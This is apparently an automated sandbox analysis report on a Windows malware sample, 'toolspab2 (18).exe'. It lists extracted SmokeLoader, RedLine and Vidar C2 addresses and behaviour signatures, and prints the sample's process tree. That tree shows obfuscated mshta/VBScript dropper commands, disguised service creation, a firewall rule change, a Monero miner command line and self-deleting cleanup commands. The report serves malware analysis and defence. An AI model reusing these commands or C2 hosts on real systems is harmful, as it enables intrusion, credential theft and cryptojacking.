Resubmissions
12-07-2021 16:55
210712-cvz622xsbj 1010-07-2021 13:25
210710-pdfh7kft96 1009-07-2021 23:00
210709-hewxkm1xlj 1009-07-2021 16:08
210709-5ql27kyjqa 1009-07-2021 14:08
210709-pt977a4bhe 1008-07-2021 22:09
210708-3ypfnj5j7x 1008-07-2021 13:30
210708-4hsk7y9f2x 1008-07-2021 12:14
210708-8t5f9z9egj 10Analysis
-
max time kernel
346s -
max time network
1833s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
09-07-2021 23:00
General
-
Target
toolspab2 (18).exe
-
Size
315KB
-
MD5
1d20e1f65938e837ef1b88f10f1bd6c3
-
SHA1
703d7098dbfc476d2181b7fc041cc23e49c368f1
-
SHA256
05cd7440851f13dd8f489bb3c06eba385d85d7d9a77a612049c04c541a88593d
-
SHA512
f9d333abe1f721b8d45d7bc6b5f286af09a8d233bd1d41f0ad891840cf742364aeca2cb6ccd6543f56a8eaf32804f82f72f961d16d5ba663ad706d164915a196
Score
10/10
Malware Config
Extracted
Family
smokeloader
Version
2020
C2
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
rc4.i32
rc4.i32
rc4.i32
rc4.i32
Extracted
Family
redline
Botnet
1
C2
45.32.235.238:45555
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
redline
C2
82.202.161.37:26317
Extracted
Family
vidar
Version
39.4
Botnet
824
C2
https://sergeevih43.tumblr.com/
Attributes
-
profile_id
824
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 2 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 1 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Windows security bypass 2 TTPs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Vidar Stealer 2 IoCs
-
XMRig Miner Payload 2 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
-
Executes dropped EXE 32 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
VMProtect packed file 7 IoCs
Detects executables packed with VMProtect commercial packer.
-
Deletes itself 1 IoCs
-
Loads dropped DLL 29 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 1 IoCs
-
Suspicious use of SetThreadContext 5 IoCs
-
Drops file in Program Files directory 30 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 2 IoCs
-
Kills process with taskkill 4 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies data under HKEY_USERS 2 IoCs
-
Modifies system certificate store 2 TTPs 6 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 20 IoCs
-
Suspicious use of AdjustPrivilegeToken 50 IoCs
-
Suspicious use of FindShellTrayWindow 7 IoCs
-
Suspicious use of SendNotifyMessage 11 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\toolspab2 (18).exe"C:\Users\Admin\AppData\Local\Temp\toolspab2 (18).exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\toolspab2 (18).exe"C:\Users\Admin\AppData\Local\Temp\toolspab2 (18).exe"2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\AppData\Local\Temp\F038.exeC:\Users\Admin\AppData\Local\Temp\F038.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\F1A0.exeC:\Users\Admin\AppData\Local\Temp\F1A0.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\F46F.exeC:\Users\Admin\AppData\Local\Temp\F46F.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F46F.exeC:\Users\Admin\AppData\Local\Temp\F46F.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\F7F9.exeC:\Users\Admin\AppData\Local\Temp\F7F9.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\FA2B.exeC:\Users\Admin\AppData\Local\Temp\FA2B.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1F9.exeC:\Users\Admin\AppData\Local\Temp\1F9.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\B7C.exeC:\Users\Admin\AppData\Local\Temp\B7C.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\D80E.exeC:\Users\Admin\AppData\Local\Temp\D80E.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\D80E.exeC:\Users\Admin\AppData\Local\Temp\D80E.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\738a33a7-6ecf-4a0f-9fd5-027a8c28beef" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\Temp\D80E.exe"C:\Users\Admin\AppData\Local\Temp\D80E.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\D80E.exe"C:\Users\Admin\AppData\Local\Temp\D80E.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\7cf28c83-f7f1-4c2f-80ff-0e8a378e501e\build2.exe"C:\Users\Admin\AppData\Local\7cf28c83-f7f1-4c2f-80ff-0e8a378e501e\build2.exe"5⤵
-
C:\Users\Admin\AppData\Local\7cf28c83-f7f1-4c2f-80ff-0e8a378e501e\build2.exe"C:\Users\Admin\AppData\Local\7cf28c83-f7f1-4c2f-80ff-0e8a378e501e\build2.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\7cf28c83-f7f1-4c2f-80ff-0e8a378e501e\build2.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\E21D.exeC:\Users\Admin\AppData\Local\Temp\E21D.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 288 -s 1762⤵
- Loads dropped DLL
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\E578.exeC:\Users\Admin\AppData\Local\Temp\E578.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-49JO3.tmp\E578.tmp"C:\Users\Admin\AppData\Local\Temp\is-49JO3.tmp\E578.tmp" /SL5="$1016A,506127,422400,C:\Users\Admin\AppData\Local\Temp\E578.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-EH4AN.tmp\1075474_ah_hot_iconçè_)))_.exe"C:\Users\Admin\AppData\Local\Temp\is-EH4AN.tmp\1075474_ah_hot_iconçè_)))_.exe" /S /UID=rec73⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Mail\VCFATFBOMN\irecord.exe"C:\Program Files\Windows Mail\VCFATFBOMN\irecord.exe" /VERYSILENT4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-9FH8L.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-9FH8L.tmp\irecord.tmp" /SL5="$401C4,5808768,66560,C:\Program Files\Windows Mail\VCFATFBOMN\irecord.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\i-record\I-Record.exe"C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu6⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\47-7be00-3e3-ee4be-7247ff39bb5f6\Lijahulihae.exe"C:\Users\Admin\AppData\Local\Temp\47-7be00-3e3-ee4be-7247ff39bb5f6\Lijahulihae.exe"4⤵
- Executes dropped EXE
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e65⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2480 CREDAT:275457 /prefetch:26⤵
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2480 CREDAT:537615 /prefetch:26⤵
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2480 CREDAT:734254 /prefetch:26⤵
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2480 CREDAT:537649 /prefetch:26⤵
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2480 CREDAT:1389599 /prefetch:26⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad5⤵
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18514835⤵
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18515135⤵
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=20872155⤵
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=42631195⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\02-1311c-5c0-ebcb0-d95c8f138514d\Mymaepyshaeru.exe"C:\Users\Admin\AppData\Local\Temp\02-1311c-5c0-ebcb0-d95c8f138514d\Mymaepyshaeru.exe"4⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zpjkzsat.bhd\GcleanerEU.exe /eufive & exit5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dgl20nrf.m2r\installer.exe /qn CAMPAIGN="654" & exit5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xs0c4mpp.4v0\ufgaa.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\xs0c4mpp.4v0\ufgaa.exeC:\Users\Admin\AppData\Local\Temp\xs0c4mpp.4v0\ufgaa.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lkzah1cv.0bc\google-game.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\lkzah1cv.0bc\google-game.exeC:\Users\Admin\AppData\Local\Temp\lkzah1cv.0bc\google-game.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\lkzah1cv.0bc\google-game.exe"C:\Users\Admin\AppData\Local\Temp\lkzah1cv.0bc\google-game.exe" -a7⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mhrt0gjt.jtz\GcleanerWW.exe /mixone & exit5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dtjtqz4q.zkv\toolspab1.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\dtjtqz4q.zkv\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\dtjtqz4q.zkv\toolspab1.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\dtjtqz4q.zkv\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\dtjtqz4q.zkv\toolspab1.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\EE30.exeC:\Users\Admin\AppData\Local\Temp\EE30.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\EE30.exe"C:\Users\Admin\AppData\Local\Temp\EE30.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\F8EB.exeC:\Users\Admin\AppData\Local\Temp\F8EB.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vkaigbeu\2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ulbkqnnq.exe" C:\Windows\SysWOW64\vkaigbeu\2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create vkaigbeu binPath= "C:\Windows\SysWOW64\vkaigbeu\ulbkqnnq.exe /d\"C:\Users\Admin\AppData\Local\Temp\F8EB.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description vkaigbeu "wifi internet conection"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start vkaigbeu2⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\50C.exeC:\Users\Admin\AppData\Local\Temp\50C.exe1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\DC4.exeC:\Users\Admin\AppData\Local\Temp\DC4.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2126.exeC:\Users\Admin\AppData\Local\Temp\2126.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\vkaigbeu\ulbkqnnq.exeC:\Windows\SysWOW64\vkaigbeu\ulbkqnnq.exe /d"C:\Users\Admin\AppData\Local\Temp\F8EB.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2FD6.exeC:\Users\Admin\AppData\Local\Temp\2FD6.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCript: clOSE ( CrEAteOBJect ("WscRIPt.ShELL" ). rUN ( "CMd.EXE /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\2FD6.exe"" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF """"=="""" for %s IN ( ""C:\Users\Admin\AppData\Local\Temp\2FD6.exe"") do taskkill -f /Im ""%~nxs"" " , 0 , truE ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\2FD6.exe" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF ""=="" for %s IN ( "C:\Users\Admin\AppData\Local\Temp\2FD6.exe") do taskkill -f /Im "%~nxs"3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCript: clOSE ( CrEAteOBJect ("WscRIPt.ShELL" ). rUN ( "CMd.EXE /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE"" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF ""/PyPXDDGMMiEeTQRVIP2SQdwWi2M""=="""" for %s IN ( ""C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE"") do taskkill -f /Im ""%~nxs"" " , 0 , truE ) )5⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF "/PyPXDDGMMiEeTQRVIP2SQdwWi2M"=="" for %s IN ( "C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE") do taskkill -f /Im "%~nxs"6⤵
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCrIpT: cLose ( CreAteObject( "wSCrIPt.ShelL" ). RUN ( "cMd /Q /C ecHo 6C:\Users\Admin\AppData\Local\TempZwG> QEFuCrB.w &ECHO | SeT /p = ""MZ"" > 0CZKPbA.~i © /Y /b 0CZKPBA.~i +HzMuGQn.ebg + 3KLPjZ48.1 + JBBP.aZ +jjD1CZ.Z +ME53U.RD + G8HVV~AW.A + QEFuCRB.w ..\LPHzR4.XZ &sTaRt regsvr32.exe ..\LphZr4.XZ /U -S & dEl /Q * " ,0 , tRuE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C ecHo 6C:\Users\Admin\AppData\Local\TempZwG> QEFuCrB.w &ECHO | SeT /p = "MZ" >0CZKPbA.~i © /Y /b 0CZKPBA.~i +HzMuGQn.ebg + 3KLPjZ48.1 + JBBP.aZ +jjD1CZ.Z +ME53U.RD + G8HVV~AW.A + QEFuCRB.w ..\LPHzR4.XZ &sTaRt regsvr32.exe ..\LphZr4.XZ /U -S& dEl /Q *6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>0CZKPbA.~i"7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO "7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe ..\LphZr4.XZ /U -S7⤵
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /Im "2FD6.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\38EC.exeC:\Users\Admin\AppData\Local\Temp\38EC.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 38EC.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\38EC.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 38EC.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {5F6E2A9D-AE42-4A56-82FD-03DBBD4FE232} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]1⤵
-
C:\Users\Admin\AppData\Roaming\gbefsehC:\Users\Admin\AppData\Roaming\gbefseh2⤵
-
-
C:\Users\Admin\AppData\Roaming\wdefsehC:\Users\Admin\AppData\Roaming\wdefseh2⤵
-
C:\Users\Admin\AppData\Roaming\wdefsehC:\Users\Admin\AppData\Roaming\wdefseh3⤵
-
-
-
C:\Users\Admin\AppData\Local\738a33a7-6ecf-4a0f-9fd5-027a8c28beef\D80E.exeC:\Users\Admin\AppData\Local\738a33a7-6ecf-4a0f-9fd5-027a8c28beef\D80E.exe --Task2⤵
-
C:\Users\Admin\AppData\Local\738a33a7-6ecf-4a0f-9fd5-027a8c28beef\D80E.exeC:\Users\Admin\AppData\Local\738a33a7-6ecf-4a0f-9fd5-027a8c28beef\D80E.exe --Task3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\gbefsehC:\Users\Admin\AppData\Roaming\gbefseh2⤵
-
-
C:\Users\Admin\AppData\Roaming\gbefsehC:\Users\Admin\AppData\Roaming\gbefseh2⤵
-
-
C:\Users\Admin\AppData\Roaming\wdefsehC:\Users\Admin\AppData\Roaming\wdefseh2⤵
-
-
C:\Users\Admin\AppData\Local\738a33a7-6ecf-4a0f-9fd5-027a8c28beef\D80E.exeC:\Users\Admin\AppData\Local\738a33a7-6ecf-4a0f-9fd5-027a8c28beef\D80E.exe --Task2⤵
-
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-527375675-134125361-50714940-327623041-241598795-763937643481049753-840790141"1⤵
- Executes dropped EXE
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1New Service
1Registry Run Keys / Startup Folder
2Defense Evasion
Disabling Security Tools
1File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
5Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.3MB
-
Filesize
316KB
-
Filesize
36KB
-
Filesize
1.1MB
-
Filesize
48KB
-
Filesize
24KB
-
Filesize
584KB
-
Filesize
580KB
-
Filesize
428KB
-
Filesize
464KB
-
Filesize
8KB
-
Filesize
580KB
-
Filesize
584KB
-
Filesize
3.0MB
-
Filesize
8KB
-
Filesize
28KB
-
Filesize
48KB
-
Filesize
1.2MB
-
Filesize
1.2MB
-
Filesize
120KB
-
Filesize
4KB
-
Filesize
120KB
-
Filesize
48KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
88KB
-
Filesize
92KB
-
Filesize
20KB
-
Filesize
36KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
28KB
-
Filesize
44KB
-
Filesize
4KB
-
Filesize
9.1MB
-
Filesize
9.3MB
-
Filesize
36KB
-
Filesize
60KB
-
Filesize
48KB
-
Filesize
8KB
-
Filesize
436KB
-
Filesize
20KB
-
Filesize
36KB
-
Filesize
8KB
-
Filesize
76KB
-
Filesize
316KB
-
Filesize
36KB
-
Filesize
16KB
-
Filesize
4KB
-
Filesize
20KB
-
Filesize
36KB
-
Filesize
388KB
-
Filesize
100KB
-
Filesize
4KB
-
Filesize
108KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
188KB
-
Filesize
4KB
-
Filesize
316KB
-
Filesize
92KB
-
Filesize
8KB
-
Filesize
84KB
-
Filesize
2.1MB
-
Filesize
24KB
-
Filesize
64KB
-
Filesize
20KB
-
Filesize
656KB
-
Filesize
628KB
-
Filesize
964KB